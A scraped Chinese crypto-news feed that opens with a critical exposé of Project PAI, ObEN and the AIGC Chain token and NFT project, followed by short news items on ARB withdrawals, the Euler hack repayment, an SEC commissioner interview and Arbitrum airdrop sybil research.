并没赶上趟儿，白皮书写好的前一个月，中国政府就发布了“94”禁令。但这并不妨碍其在随后的时间里募资 10 亿人民币，远远超过其历年股权融资的总和。 根据 ProjectPAI 发布的白皮书，Project PAI 是一个为 PAI 开发的基于比特币分叉的新的公有区块链协议，可以用区块链对人工智能进行认证、管理、数据学习和应用开发。PAI 是世界上第一个个人人工智能技术和产品。PAI 是一个和你长得像、说话像、而且越来越懂你的智能形象（Avatar）。 为了隔离风险，ProjectPAI 在白皮书中将 ObEN 列为创新伙伴，区块链的技术开发由 Alex Waters 领导。Alex 从 2010 年起参与 Bitcoin 原始代码的编写，是比特币区块链原始算法的核心团队成员。 PAI 是 ProjectPAI 发行的系统代币，总量 21 亿。根据代币分配方案，投资人占比 35%。这部分就是此前所谓的“私募”份额。这部分份额分为锁仓和不锁仓部分，其中锁仓部分 1 BTC=35,000 PAI（按照当时 BTC 价格，1 PAI=1.5 元），不锁仓部分 1 BTC=22,800（按照当时 BTC 价格，1 PAI=2.3 元）。据 PAI 参与人反馈，ProjectPAI 通过私募募集资金大约 1.5 亿美元，折合 10 亿人民币。 2018 年 6 月 29 日，PAI 登陆火币全球站，上线四天暴涨 500%，并于 2018 年 7 月 9 号达到最高价格 1.43 美元。之后 PAI 就开始了下跌行情，2018 年 11 月 19 日，PAI 跌破 0.1 美元。 2022 年 10 月 22 日，Huobi Global 宣布 PAI 等一批通证触发《火币通证管理规则》将其下架。 2022 年 11 月，ProjectPAI 区块链停止出块，区块链信息网站关停，PAI 走向归零。 2018 年 7 月，ProjectPAI 遭遇密集质疑。 7 月 3 日，链茶馆发布的一篇文章质疑 ObEN 与 PAI 关系暧昧，大 V 故意将 Oben 的投资人与 Project PAI 的投资人混为一谈，PAI 存在的意义以及 PAI 官网在全球范围内只设定了中文的联系人不合常理等多个疑点。 最具争议的是项目技术团队成员信息不实，根据白皮书显示 Alex Waters 为 PAI 项目技术负责人。而在领英资料显示，此人仅为项目技术顾问，并非 Project PAI 项目团队成员。 对此，Project PAI 在 2018 年 7 月 7 日发布的《Project PAI 关于对某评级机构散播不实谣言的声明》称，“美国国税局认定数字货币是资产。如果美国利益人士或者机构收到数字货币，则必须向美国国税局交纳最多 50% 的税费。美国政府对公开媒体也是全网监测。因此，2017 年 7 月以后的美国发币方，一般都不在包括 linkedin（领英）在内的公开媒体更新履历。比如，ObEN 创始人 Adam Zheng 和 Nikhil Jain 以及技术负责人 Alex Waters 等都不会在 linkedin（领英）等媒体上讲述自己全职在 Project PAI。并且，所有的工作人员都是以合作伙伴和顾问的身份参与 Project PAI，这样才能确保 Project PAI 是和美联储圣路易斯主席 James Bullard 所希望的去中心化的组织以达到严格合规的标准。” Project PAI 的项目代码也被指出是抄袭比特币，将其中“bit”被替换为“pai”。因此 Project PAI 被质疑核心技术成员没有为 pai 开发过，只是花钱拿来站台的。 2018 年 7 月 17 日，Project PAI 钱包官网疑似被黑，对 Project PAI 项目内幕进行了揭露，并表示将准备真实材料向有关机关报送。公开信内容指出 Project PAI 存在非法集资、偷税漏税、操纵市场、代币预挖、代码抄袭和团队造假等问题。 2018 年 7 月 18 日，Project PAI 针对此次事件发表辟谣声明，将此次事件定义为黑客劫持。 此后随着市场进入熊市，大部分在 2017-2018 年发起的加密项目团队进入“摆烂”状态，周报内容千篇一律。个别不负责的项目则将项目“交给社区”或直接跑路。 Project PAI 的 AI 业务停滞不前，项目方曾经承诺的内容开始无法兑现。 复盘 Project PAI 的运作手法，可以发现其存在明显的包装套路。 作为一个人工智能公链，Project PAI 本身的知名度并不高，主要借助 ObEN 的名声吸引投资者注意力。在 Project PAI 发币前，ObEN 借助人工智能概念在国内吸引了可观的曝光量，积累了一批忠实受众。 据区块链自媒体壹块硬币报道，在 Project PAI 的 32 页白皮书中，至少有 7 页是在谈 ObEN，特别是其中开发团队的部分，完全就是 ObEN 的团队信息。在一些评级报告中，则更是把 ObEN 的团队直接作为 PAI 的团队。 市场猜测最大可能是 PAI 实际就是 ObEN 团队做的，不过限于政策及法律上的考虑，因为发币而做了隔离，明面上不予以承认。 比如以下这种撇清关系的话术： 善于借力 Project PAI 在白皮书中故意宣传有腾讯、软银等机构参与，借助这些明星机构的力量，很容易吸引不明真相的群众参与。 ObEN 创始人 Nikhil 曾在美国最大的医疗保健集团 Kaiser Permanente 负责实施电子病历系统，郑毅联合创立了中国最大的婚恋平台百合网。尤其是郑毅，清华大学毕业，赴美深造后获得加州大学戴维斯分校的交通与环境工程博士学位、以及加州大学伯克利分校的金融工程硕士学位。 Project PAI 请来了原始中本聪比特币客户端 Satoshi Bitcoin Client ( 现在的 Bitcoin Core) 的核心开发人员之一Alex Waters 为其站台。不过，Alex Waters 目前在领英的简历并没有关于在 Project PAI 工作的经历。结合此前媒体的报道，大概率是他自己将这段简历删掉了。 Project PAI 在白皮书中列出的其他技术团队清一色的是博士出身，毕业于南加州大学、剑桥大学、芝加哥大学等美国高校。 Project PAI 的早期投资人以及 KOL 在社群推广，通过自身影响力让散户大量持币，背地里则完成套现。 2018 年 7 月前后，一个名为“币星星”的交易所开启众筹。币星星基于 PAI 链开发，只接受 PAI 币募集，天使轮私募 5000 万-1 亿 PAI 币。 据参与人提供的一份资料显示，币星星由太平洋区块链研究中心孵化。该组织由印尼国立大学、印尼希望之光大学、印尼力宝集团、ObEN 发起成立。 很多 PAI 持有者看到币星星背后显赫的背景参与投资，随后被严重套牢。据 PAI 部分持有人反映，当时投的时候是 PAI 的价格大约 4 块钱，等退出时 PAI 只值几分钱了。 实际上，这只是个由 PAI 志愿者发起的项目，最终也没有做起来。 在 Project PAI 项目路演上，郑毅多次出现在台前。不过对于 Project PAI 项目只谈技术、商业模式等方面话题，对于涉及币方面的话题则刻意回避并推给了其在中国的代理人孙某。 Project PAI 发币后，郑毅逐渐隐身幕后，以人工智能当红公司创始人的形象频繁在各大主流平台亮相。 2018 年 5 月，清华大学金融科技研究院区块链研究中心正式成立，ObEN 与腾讯、高榕资本、水滴公司、凡普金科等共同发起成立。 左二，郑毅 2018 年 7 月 19 日-20 日，在东京举行为期两天的“2018年软银世界大会”，ObEN 联合创始人郑毅接受了CCTV2-财经频道的采访。 2018年9月，在“2018世界人工智能大会”上，ObEN 首次披露 SNH48 真人AI。 从左至右，郑毅，曾艾佳 2018年11月，《还珠格格》的皇后扮演者戴春荣老师现身湖南卫视，ObEN 为”皇后娘娘”制作了属于她自己的PAI（个人人工智能）。 从左至右，郑毅，戴春荣 2019年央视网络春晚，撒贝宁孪生虚拟主持人由 ObEN 操刀。 左三：虚拟撒贝宁 2019年9月，在2019东北亚经济论坛上，偶邦智能科技有限公司总经理郑毅出席并发表演讲。 2019年11月，在第二届中国国际进口博览会上，偶邦科技创始人兼CEO郑毅接受了新华网专访。 2019年下半年之后，或许是疫情原因，郑毅很少在出现公开场合露面。 尽管期间 Facebook all in 元宇宙，作为元宇宙细分赛道项目，ObEN 也并没有过多发声。 2023年3月23日，清华五道口邀请郑毅作“生成式AI和元宇宙：迎接人机共生时代”在线讲座。 官网无法访问 ObEN 提供的官网（oben.me）无法访问，在推特的账号也已注销。 ObEN 在国内的实体公司有多家，包括成都偶邦智能科技有限公司、北京智湃科技有限公司以及上海多而像科技有限公司等。 据天眼查显示，成都偶邦智能科技有限公司的开庭公告信息多达12条，案由是“侵害作品信息网络传播权纠纷”。 北京智湃科技有限公司的开庭公告信息多达59条，案由是“侵害作品信息网络传播权纠纷”。 上海多而像科技有限公司由 ProjectPAI 计算机视觉负责人王睿哲任法定代表人，第十三届世界地球小姐中国区总冠军、ObEN 合伙人兼副总裁相杨担任监事。 成都偶邦智能科技有限公司、北京智湃科技有限公司两家的官网均为obencn.com，已经无法访问。 北京智湃科技有限公司的微信公号“偶邦智能”在2021年6月11日之后就没再更新。 上海多而像科技有限公司的微信公号“ObEN元宇宙”于2022年1月注册，至今更新了3篇文章。 AIGC+Web3 2023年，AIGC 是科技圈最火热的赛道。不过这个赛道存在一个尴尬问题：概念虽好，但投资机构热情不高。 怎么用火热的概念快速搞到钱？和 Web3 结合。 于是，AIGC Chain 诞生了，郑毅是 AI 和 Web3 融合的贡献者。 写文章讲究“题好一半文”，做项目取名字也一样。 AIGC Chain 的名字很有辨识度，直接将 AIGC 和 Chain 组合在一起，读者一看就知道这个项目是要做 AI 和Web3 的。 Project PAI 的包装套路在 AIGC Chain 再次上演。 项目方需要灵魂人物或者站台人物，才能吸引更多注意力。Project PAI 当年让比特币客户端可信开发者 Alex Waters 为其站台。AIGC Chain 这次请的是 stable diffusion 联合创始人Cyrus Hodes 站台。 Project PAI 是一条基于比特币开发的侧链，请 Alex Waters 助阵简直是如虎添翼啊。 AIGC Chain 搞的是一条 Layer2 网络，定位是一个分布式 AIGC 模型基础设施。Stability AI 是 AIGC 热潮的明星创业公司，请 stable diffusion 联合创始人Cyrus Hodes 站台也很合适。 当然，作为 AI 的灵魂人物，郑毅必不可少。 还记得 Project PAI 与 Oben 的关系吗？Project PAI 将 Oben 视作创新伙伴。AIGC Chain 这次同样将 Oben 视作合作伙伴，Oben 为 AIGC Chain 贡献基础模型。 Project PAI 的包装是国外项目，实际买单的主要是国人。同样地，AIGC Chain 的包装也是国外项目，目前社群中参与程度较高的依然是国人。 投资机构再白嫖一遍 还记得 Oben 的投资机构吗？再放一遍。当年这些投资机构大部分被写进 Project PAI 的白皮书。让人产生一种误导：这些投资机构投资了 Project PAI。 看看AIGC Chain 在官网上展示的投资者&伙伴名单，是不是很熟悉？不过，AIGC Chain 很会玩文字游戏，这些机构的描述是“投资者&伙伴”，实际上只是 Oben 的投资机构。具体这些机构直接投资于 AIGC Chain 了吗？不知道。但会给读者产生误导：这些投资机构投资了 AIGC Chain。 KOL推广，口号要嘹亮 当年 Project PAI 不少 KOL 喊单，打的旗号是“腾讯、软银投资”。 这次 AIGC Chain 喊单也不能落下风，打的旗号是估值 40 亿美金的 Stability AI。 来都来了，圈多少钱？ 根据 AIGC Chain 的代币经济学，AIGC 未来会发币，具体多少还没定好。 小孩子才做选择，成年人全都要！ AIGC Chain 既要发同质化代币，也要发非同质化代币。 Metanaut 是 AIGC 发的 NFT 项目。措辞很有意思：Metanaut 是 AIGC 核心社区发起的第一个 NFT 项目。 仔细阅读上面的句子，套路满满。Metanaut 是“ AIGC 核心社区”发布，再次发挥甩锅技能。“第一个”，说明未来还有更多NFT项目，好日子还在后头呢。 Metanaut 总量 6 万个，包括 1 万个稀有和 5 万个普通属性。 按照每个 NFT mint 价格 0.02 ETH，6 万个全部 mint 完成，项目方妥妥进账 1200 ETH。按照每个 ETH 价格 1800 刀算，大约 216 万美元。 这还只是开胃财，未来发币，项目方进账估计会更多。 3月22日，第一轮mint已经全部完成，投资人展现了极大的热情。第二轮 mint 已经在今天刚刚开启，国人用户参与热情还算可以，只不过在遇到问题时会抱怨找不到项目方。 这个项目未来走向何处，能否帮助“大割”翻身变大哥，我们拭目以待。  ( 10 min )
    数据：Amber近两日从交易所提出859万枚ARB，成本或约为1.23美元
    PANews 3月26日消息，据推特用户余烬监测，Amber Group在3月25日下午5点和今天上午10点，从OKX、Kucoin、Bybit三个交易所一共提出859万枚ARB（价值约1057万美元）。若按提出时间计算，Amber Group的ARB成本约为1.23美元。  ( 4 min )
    NFT项目y00ts将于明日起迁移至Polygon，24小时内迁移将获奖励
    PANews 3月26日消息，NFT项目y00ts表示将于3月27日起迁移至Polygon，用户可直接从官方网站迁移。为鼓励用户尽快迁移，在24小时内完成迁移将获得奖励。Gas费由Magic Eden提供，质押也将免费。 此外团队表示，为专注于EVM，y00ts团队将不再在Solana上进一步开发y00ts/DeGods。DeGods将于3月31日迁移至以太坊，详细信息将在之后公布。  ( 4 min )
    消息人士：马斯克对推特最新估值为200亿美元，不及收购价一半
    PANews 3月26日消息，据The Information援引消息人士报道，马斯克在发给推特员工的邮件中称，以约200亿美元的估值向推特员工提供股票奖励，该估值不及其收购推特时支付的440亿美元的一半，显示了推特的市场价值正在下降。目前推特暂未对这一消息置评。  ( 4 min )
    美国政府考虑扩大银行的紧急信贷额度
    PANews 3月26日消息，据彭博社报道，据知情人士透露，美国当局正在考虑扩大银行的紧急信贷额度，让First Republic Bank有更多时间来增强其资产负债表。官员尚未决定他们可以向First Republic提供何种支持。但监管机构认为该银行足够稳定，无需立即干预。据此前消息，华尔街高管和美国官员正在讨论First Republic Bank获得政府支持的可能性，以推动达成与潜在买家的交易。据悉，政府可能会在剥离First Republic不良资产方面发挥作用。双方讨论的其他措施包括提供责任担保、更灵活地使用资本规则以及放宽股权限制。  ( 4 min )
    Otherside：超过7200名Voyager参与了“Otherside:2nd Trip”活动
    PANews 3月26日消息，据官方消息，超过7200名Voyager参与了“Otherside:2nd Trip”活动。Yuga Labs于3月25日上线“Otherside:2nd Trip”活动，Voyagers在Trip（旅行）开始前15分钟进入体验，Otherdeeds NFT持有者有机会参加2nd Trip，前提是他们在主要故事开始之前准时到达体验，2nd Trip可以通过邀请参与。一旦2nd Trip达到容量，玩家将无法再加入体验。Voyagers将优先于访客通行证进入体验，参加2nd Trip的旅行者将有资格获得FIRST TRIP Obelisk碎片。  ( 4 min )
    Euler Finance黑客返还51000万枚ETH
    PANews 3月26日消息，链上数据显示，Euler Finance攻击者已将51000枚ETH转移至Euler合约部署地址，价值近9000万美元。Euler的原生EUL代币在过去24小时内上涨了27.3%，其中大部分上涨是在黑客将代币返还协议之后发生的，这可能引发了交易员的积极情绪。上周，Euler要求黑客归还被盗资金，并愿意提供100万美元的赏金。开发人员当时要求返还90%的被盗资金。本月早些时候，该协议遭到闪电贷攻击，损失了近2亿美元。  ( 4 min )
    对话SEC委员Peirce：加密监管之路在何方？
    撰写：Revelo Intel 编译：深潮 TechFlow 本集节目中，Ryan Adams 和 David Hoffman 邀请了 SEC 委员 Hester Peirce 一起讨论她对于 SEC、自律、分权等方面的看法。 以下是我们的笔记，帮助大家更好地理解。 美国的金融系统高度相连。 银行系统发生的任何事情都可能影响到已经受到监管的市场。同时也有相关联的实体需要被监管。 银行有时是上市公司，这意味着它们的披露受到监管。 目前局势正在密切监控，以防止任何负面影响直接影响到受监管实体。 证券法和 SEC 在处理信息不对称、平衡投资者利益和监管市场基础设施方面非常重要。 SEC 负责向投资者提供充足的信息并监管经纪人、投资顾问和证券交易所。 加密货币行业应该与 SEC 保持良好关系，可以通过提供指导而非严格执法、扩大其管辖范围，并认识到加密货币空间的独特性来实现。 自我监管和去中心化对于加密行业的成功至关重要。 Hester Peirce 在 SEC 的角色包括消除信息不对称和促进透明度。 上市公司需要进行申报，提供有关其财务状况、风险、业务性质和高管薪酬等信息。这个要求消除了内部人员和投资者之间的差距，但并不能消除所有信息差异。 拥有不同信息的人可以根据该信息做出决定，并且没有义务将其提供给没有该信息的其他人，除非与公司有关联。 信息不对称存在于中心化系统中，使得 SEC 监管有必要解决资本市场和形成中的委托代理问题。 在去中心化系统中，信息广泛可用，信息不对称问题较少，使得传统的 SEC 监管不太适用。 加密货币领域中的中心化实体可能会受益于联邦监管，SEC 可能成为交易平台和代币发行者的潜在监管机构。 为了实现去中心化加密活动的潜力，需要一种不同的监管方法，认识到去中心化的好处，而不是简单地在其之上叠加传统监管。 未来的加密货币状态将与健康的 SEC 监管和分权活动相结合，可能需要更加细致和专业的监管方法。 证券的定义很广泛，包括投资合同类别。 SEC 认为，出售承诺建立网络和增加代币价值的代币可能属于投资合同类别。 问题在于确定代币本身是否需要注册为证券，并在整个过程中被视为一种证券。 需要对证券法在加密货币领域的应用进行调整和更严格的思考。 即使作为证券发行的一部分出售，代币也应被视为一个独立的实体。 加密货币法律结构的缺乏明确性可能会导致活动的抑制，因此需要进行调整。 现有的证券框架阻止了加密资产和网络实现其最大化表现状态，因为它们的创始是中心化的。 SEC 采取的立场是将大部分代币归类为证券，以最大限度地扩展其管辖范围。 国会需要参与讨论，并开发针对代币发行的披露框架或建立监管机构，以便进行更好的法律分析。 华盛顿需要考虑，是否应用规定使世界变得更美好，还是只是让事情变得复杂，不为任何人的利益服务。 监管机构难以退后一步，认识到通过保护人们，他们也在阻止人们访问他们想要的产品和服务，并未提供他们所需的信息。 对于那些没有为现有过程而设计的实体和资产类别来说，SEC 注册是困难的。 目前还不清楚 SEC 是否想要监管可能创建的许多数字资产。 如果 SEC 要监管所有数字资产，那么它将监管许多目前未受其监管的事物。 SEC 的任务是监管关于资本筹集的活动，因此应该专注于监管这方面。 SEC 采取了激进的管辖立场，并试图监管许多国会尚未规定其监管的实体。 SEC 的目标似乎是尽可能地监管，但受访者建议，如果是这样，可能需要更多的委员来处理。 加密货币社区得出结论，SEC 对他们的资本市场或资产并不感兴趣。 SEC 更感兴趣的是扩大其管辖范围，而不是其原始的第一原则任务。 它是一种功能障碍性关系，SEC 会采取大量执法行动，但执行行动也有其存在的价值。 这个行业需要与 SEC 进行更有成效的对话，人们应该结成具有相似观点的群体，展示他们的使用案例。 人们需要用具体的使用案例来证明可以改变人们的生活。 如果那些在加密货币内合法尝试构建东西的人不与监管机构交谈，那么更糟糕的事情就会填补真空。 监管机构为人民服务，而不是相反，对人民负有责任。 主席拥有更多的控制权，但所有五位委员在规则和执法行动的决策中都参与其中。 决定是通过多数投票做出的。 Peirce 和另一名委员对比特币交易所交易产品发表了不同意见，认为 SEC 对其应用的标准与其他交易所交易产品不同。 Peirce 认为反对意见很重要，因为它有助于 SEC 思考问题和潜在解决方案。 公开进行这种对话很重要。 Peirce 相信她的同事们有着开放的思想，并且能够改变他们的看法。 仅仅反对本身可能不会起到太大的作用，但它确实有帮助。 建议加密货币行业与监管机构互动，以恢复彼此之间的信任。 Kraken 质押服务在美国被执法行动关闭，导致 Peirce 进行反对。 应该为加密货币质押设计监管框架，而不是将其插入现有的框架中。 她对 Kraken 质押服务被关闭这一事实感到沮丧，并认为这并没有为投资者产生胜利。 与 SEC 的和解不能被用作关于加密货币质押的最终声明。 SEC 委员 Peirce 认为，执法行动中的一个共同主题是缺乏指导。 她提出，更有效的方法是通过公开讨论建立明确的规则，然后加以执行。 这比针对可能是证券的一切进行执法行动更加高效和有成效。 SEC 可以使用豁免令或解释性指导文件等工具来建立规则。 召集人们共同讨论指导方针将是功能性和有效的。 SEC 可以通过尝试新方法在加密空间建立新的做事方式。 Peirce 建议以常识的方式处理不完全相同且具有不同特征的稳定币。 国会对稳定币表现出兴趣，并在上届国会积极商讨了与其相关的立法，因此，Peirce 认为最好等待国会就该问题提供监管指导。 Peirce 更希望国会编写稳定币的监管框架。 行业可以通过从传统金融中吸取教训、对不良行为者保持谨慎、要求透明度以及识别不良行为者等措施来保护自身。 行业应该提供具体的解决方案，以达到监管目标，同时仍允许行业向前发展。 重要的是不要失去首要原则并捍卫它们，即使在短期内也是如此。 去中心化是加密货币行业应坚持的重要原则，但是目前存在很多“去中心化闹剧”，因此行业需要努力辨别什么是真正的去中心化，什么是中心化。 市场失灵和弱点是市场了解中心式攻击并提高水平的机会。 对于监管机构和行业来说，诚实地讨论某物是中心化还是去中心化非常重要，因为如果误导人们，他们可能会受到伤害。 监管机构可能会推动中心化，因此行业有必要朝相反的方向推动。 在加密货币行业中，即使它们自称为加密货币，也不会因为它们是中心化实体而得到豁免。 加密货币世界存在对监管机构的抵制。 然而，这种抗拒创造了一个首先就邀请监管的环境。 自我监管和理解证券法和 SEC 的原因是必要的，以防止落入邀请监管机构的同样陷阱。 对于监管的看法不必是非黑即白的；需要进行诚实的对话，找到平衡点，使人们能够实现自己的梦想，并保护他们免受坏事情的侵害。 Peirce 在 2020 年 1 月的 Duke 大学会议上发表了讲话，谈到了容许对新技术进行实验的重要性，即使这些技术可能看起来很愚蠢或毫无意义，个体应被允许做出自己的决定，而不是依赖政府。 加密货币行业有责任比 SEC 更好地自我监管，这将有助于与监管机构建立良好关系。 Peirce 愿意与行业内的人进行交流，并鼓励他们让她了解他们的想法和观点。  ( 5 min )
    投资人于隽已从A&T Capital辞职
    PANews 3月26日消息，据吴说区块链消息，A&T Capital致投资人的信中称，于隽先生曾代表我们的一位投资者(应为蚂蚁金服)，任命于A&T Capital。他已经从投资者的公司辞去了职务。因此于先生将不再参与A&T Capital的任何事务，也不再代表本基金。这一变动将不会影响本基金的运营。  ( 4 min )

  • Open

    NFT 项目 y00ts 将于明日起迁移至 Polygon，24 小时内迁移将获奖励
    NFT 项目 y00ts 将于明日起迁移至 Polygon，24 小时内迁移将获奖励 原 Solana 生态 NFT 项目 y00ts 表示将于 3 月 27 日起迁移至 Polygon，用户可直接从官方网站迁移。为鼓励用户尽快迁移，在 24 小时内完成迁移将获得奖励。Gas 费由 Magic Eden 提供，全部免费，质押也将免费。在 MagicEden 的 Polygon 市场上架 y00t 将获得 5 USDC 奖励，且 30 天内购买 / 出售 y00t 不收取交易费。 此外团队表示，为专注于 EVM，y00ts 团队将不再在 Solana 上进一步开发 y00ts/DeGods。DeGods 将于 3 月 31 日迁移至以太坊，详细信息将在之后公布。 内容来源  ( 2 min )
    对话 SEC 委员 Peirce：加密监管之路在何方？
    Chainfeeds 导读： Ryan Adams 和 David Hoffman 邀请了 SEC 委员 Hester Peirce 一起讨论她对于 SEC、自律、分权等方面的看法。本文由深潮 TechFlow 编译。 文章来源： https://www.panewslab.com/zh/articledetails/kr36fl7j.html 文章作者： 深潮 TechFlow 观点： 深潮 TechFlow：信息不对称是中心化系统中存在的问题，而去中心化系统则可以消除这个问题。加密货币行业应该与 SEC 保持良好关系，并通过提供指导来实现监管。证券定义需要对证券法在加密货币领域进行调整和更严格的思考， SEC 采取的立场是将大部分代币归类为证券，以最大限度地扩展其管辖范围。 内容来源 深潮 TechFlow：反对意见有助于 SEC 思考问题和潜在解决方案。应该为加密货币质押设计监管框架，而不是将其插入现有的框架中，更有效的方法是通过公开讨论建立明确的规则，然后加以执行。行业可以通过从传统金融中吸取教训、要求透明度以及识别不良行为者等措施来保护自身。同时，去中心化是加密货币行业应坚持的重要原则。 内容来源  ( 5 min )
    LSD 叙事下的 ATOM 尚能战否？
    Chainfeeds 导读： ATOM 是 Cosmos 生态中最核心的资产之一，其以近 35 亿美元的总市值排在虚拟货币总市值排行榜的 20 名开外。加密货币研究员 yyy 聚焦在流动质押视角下探讨 ATOM 的代币价值。 文章来源： https://useful-product-cc0.notion.site/LSD-ATOM-68544f47264045db9f68a4a5adcc2400 文章作者： yyy 观点： yyy：Cosmos 生态尚不具备大规模、多样化的 LSD 协议，在 Stride 上线主网之前，此赛道更是贫瘠。ATOM 的流动质押需求远远未被有效激发，Cosmos LSD 赛道蕴含着巨大的潜力。但针对 Cosmos 生态蓝筹资产（包括但不限于 ATOM）的流动质押方案存在可组合性差、流动质押资产应用场景匮乏的问题。 内容来源 yyy：流动质押 ATOM 的价值累积公式：流动质押 ATOM 收益 = POS 节点质押收益 + 协议资产激励 / 息差套利 + ICS 激励。1）协议资产激励端，协议代币激励对于 LP 池深度增加和 LSD 生态系统稳定有重要作用。2）息差套利端，流动质押 ATOM 的息差套利本质上是通过 Cosmos 生态的借贷协议做杠杆质押增大收益。Cosmos 上未出现像以太坊上 AAVE 这样的龙头借贷协议，但一些新兴的借贷协议也正在崛起。3）ICS 激励，完善基础设施将提高用户使用体验和收益率。ATOM 可能是 Cosmos LSD War 中最大的赢家。 内容来源
    强人工智能时代，区块链还有戏吗？
    Chainfeeds 导读： ChatGPT 掀起了 AI 潮流，区块链和 Web3 被抢了风头，未来发展会如何？Solv Protocol 联合创始人 Yan Meng 认为区块链在价值取向上与强人工智能是对立的，它与强人工智能之间形成一个互补关系。区块链维护公平、塑造生产关系、守护底线和建立契约，而强人工智能提高效率、发展生产力并创造先进的工具和武器。 文章来源： https://myantokengeek.medium.com/%E5%BC%BA%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E6%97%B6%E4%BB%A3-%E5%8C%BA%E5%9D%97%E9%93%BE%E8%BF%98%E6%9C%89%E6%88%8F%E5%90%97-839a91ac5486 文章作者： 孟岩 观点： 孟岩：靠自我约束解决不了强人工智能的安全性问题。靠自我约束驯化出来的「善良」的强人工智能，仍然具有巨大的安全性挑战：道德风险、信息不对称、难以控制外脑和不可知风险等问题。试图通过主动控制、调整和干预手段来创造完善自控能力的 「善良 」强人工智能与其本质相矛盾，长期来看是徒劳无功。 内容来源 孟岩：用区块链进行外部约束是唯一办法。区块链的核心技术有两个，一是分布式账本，二是智能合约。两个技术相结合，其实就是构造了一个数字契约系统，其核心优势是透明、难以篡改、可靠和自动执行。区块链是目前唯一一个得到广泛运用的、从根子上就没有 root 角色的计算系统，它给了人类一个机会，可以去跟强人工智能缔结透明可信的契约，从而从外部约束它，与它友好共处。 内容来源  ( 4 min )
    【英文长推】ARB 持有者在哪个 DEX 上提供流动性的收益率最高？
    Chainfeeds 导读： 加密货币 KOL DeFi Made Here 比较了 Kyber Network、Trader Joe、Uniswap、Camelot 上 ARB 的 LP 交易费用，得出结论 KyberSwap 的收益率最高，为 5866%，而 Camelot 的收益率最低，为 207%。Uniswap 在没有任何额外激励的情况下排名第三。 文章来源： https://twitter.com/defi_made_here/status/1639700053953585155 文章作者： DeFi Made Here 观点： DeFi Made Here：KyberSwap 的收益率最高，为 5866％，而且这个收益率没有受到激励。Trader Joe 的激励池收益率低于那些没有额外奖励的池。人们想要获得更多的 joe 奖励，而不是从交易费中获得收益。Uniswap 没有任何额外的激励措施，但仍然排名第三。说明人们更信任并习惯于使用 Uniswap，而流动性提供者愿意获得较少的收益，但留在他们熟悉的平台上。最差的收益率在 Camelot 上。总体来看很多人更喜欢简单管理头寸但获取较少奖励。【原文为英文】 内容来源 DeFi Made Here：KyberSwap 只有 2.8% 交易量通过自己的池交换，其余通过 Uniswap。最有效的交易是通过集中流动性 DEX 进行的，而其他 DEX 则在互相竞争，提供额外的激励措施来吸引 LP，Uniswap 没有任何努力就拥有了大部分 TVL 和交易量。而像 Camelot 这样效率低下的 dex 更适合那些不想积极管理自己头寸的人。【原文为英文】 内容来源  ( 2 min )
    Arbitrum 空投研究：存四大漏洞，女巫地址获利超 21% 空投代币
    Chainfeeds 导读： 根据 Arbitrum 检查女巫地址的规则，X-explore 和吴说区块链发现规则存在四大漏洞，并成功识别了超过 279,328 个同人地址和 148,595 个女巫地址，女巫地址的总利润超过 2.53 亿个 token。 文章来源： https://mp.weixin.qq.com/s/eGbbxPH1S3xv5fNJ2kAncw 文章作者： 吴说区块链 观点： 吴说区块链：Arbitrum 制定的规则并没有有效地防止以下四种类型的女巫：1）地址少于 20 个的女巫；2）通过交易所、跨链桥接、智能合约存取款的女巫；3） 快照后具有明显的 NFT 或资金归集行为的女巫；4）在其他链上具有明显批处理行为的女巫，如 OP，以太坊。 内容来源 吴说区块链：除此之外，我们还发现了一些有趣的例子。此次 ARB 空投的获胜者不仅是 EOA（即普通地址），而且一些合约地址也收到了空投。共有 1007 个合约地址收到空投，收到的 ARB token 总数约为 100 万个。 内容来源  ( 33 min )
    Coinbase 前首席技术官：希望比特币可以接替美元成为全球储备货币
    Coinbase 前首席技术官：希望比特币可以接替美元成为全球储备货币 Coinbase 前首席技术官 Balaji Srinivasan 推特发文称，历史告诉我们，投资者倾向于在压力时期涌入以美元计价的资产。从更长远的角度来看，人们会远离不断贬值的货币。与 2008 年不同，美元不再是大而不能倒的货币。希望比特币可以接棒美元，成为新的全球储备货币。 内容来源  ( 2 min )
    数据：以太坊交易所余额创四年新低
    数据：以太坊交易所余额创四年新低 Glassnode 数据显示，以太坊交易所余额为 18,102,803.195 ETH，创 4 年新低。 内容来源  ( 2 min )
    Animoca Brands 否认其元宇宙基金募资目标下调 20% 至 8 亿美元的说法
    Animoca Brands 否认其元宇宙基金募资目标下调 20% 至 8 亿美元的说法 据 Cointelegraph 报道，Web3 游戏开发商 Animoca Brands 否认了有关在加密市场动荡和银行业不稳定的情况下将其元宇宙基金募资目标下调 20% 至 8 亿美元的说法。此外，该公司还否认了有关其估值已从 2022 年 7 月的 60 亿美元暴跌至 2023 年 3 月的约 20 亿美元的说法。此前，Animoca Brands 联合创始人兼首席执行官 Yat Siu 于 2022 年 11 月宣布推出元宇宙基金，初始募资目标为 20 亿美元，后于 2023 年 1 月将该目标降至 10 亿美元。 内容来源 观点： Yat Siu（Animoca Brands 联合创始人）：毫无疑问，FTX 和银行业危机对可用风险资本产生了严重影响，但 Animoca Capital 基金的筹资正在进行中，融资结束后将向市场通报适当的细节，包括该基金的最终规模。 内容来源  ( 56 min )

  • Open

    委内瑞拉监管机构正关闭加密货币交易所和矿场
    PANews 3月26日消息，据Decrypt报道，自从委内瑞拉加密资产负责人Joselit ramirez被捕，以及总统马杜罗下令重组该国的加密监管机构以来，该国加密生态系统正不断受到严重打击。新的加密资产负责人已下令关闭在委内瑞拉国家加密资产监管机构“Sunacrip”注册的所有加密交易所。尽管这一举动尚未得到官方证实，但委内瑞拉国家加密货币协会(Asonacrip)表示这一行动正在进行中，因为委内瑞拉正在进行反腐调查。在此之前，Sunacrip还宣布下令关闭在委内瑞拉几个州运营的大型加密货币矿场。  ( 4 min )
    数据：以太坊交易所余额创四年新低
    PANews 3月26日消息，Glassnode数据显示，以太坊交易所余额为18,102,803.195 ETH，创4年新低。  ( 4 min )
    尼日利亚央行行长：尼日利亚银行对硅谷银行没有直接敞口
    PANews 3月26日消息，据Bitcoin.com报道，尼日利亚央行（CBN）行长Godwin Emefiele在央行货币政策委员会会议上称，最近对尼日利亚银行债券投资组合的审查表明，该国金融机构没有对硅谷银行（SVB）的直接敞口。他补充说，央行的审慎指导方针有助于有助于创建一个“非常安全”的银行系统。此外，Emefiele表示尼日利亚央行已经并将始终优先考虑银行储户。据悉，自2003年以来，没有尼日利亚储户因银行倒闭损失资金。  ( 4 min )
    数据：过去一周Circle USDC流通量减少21亿美元
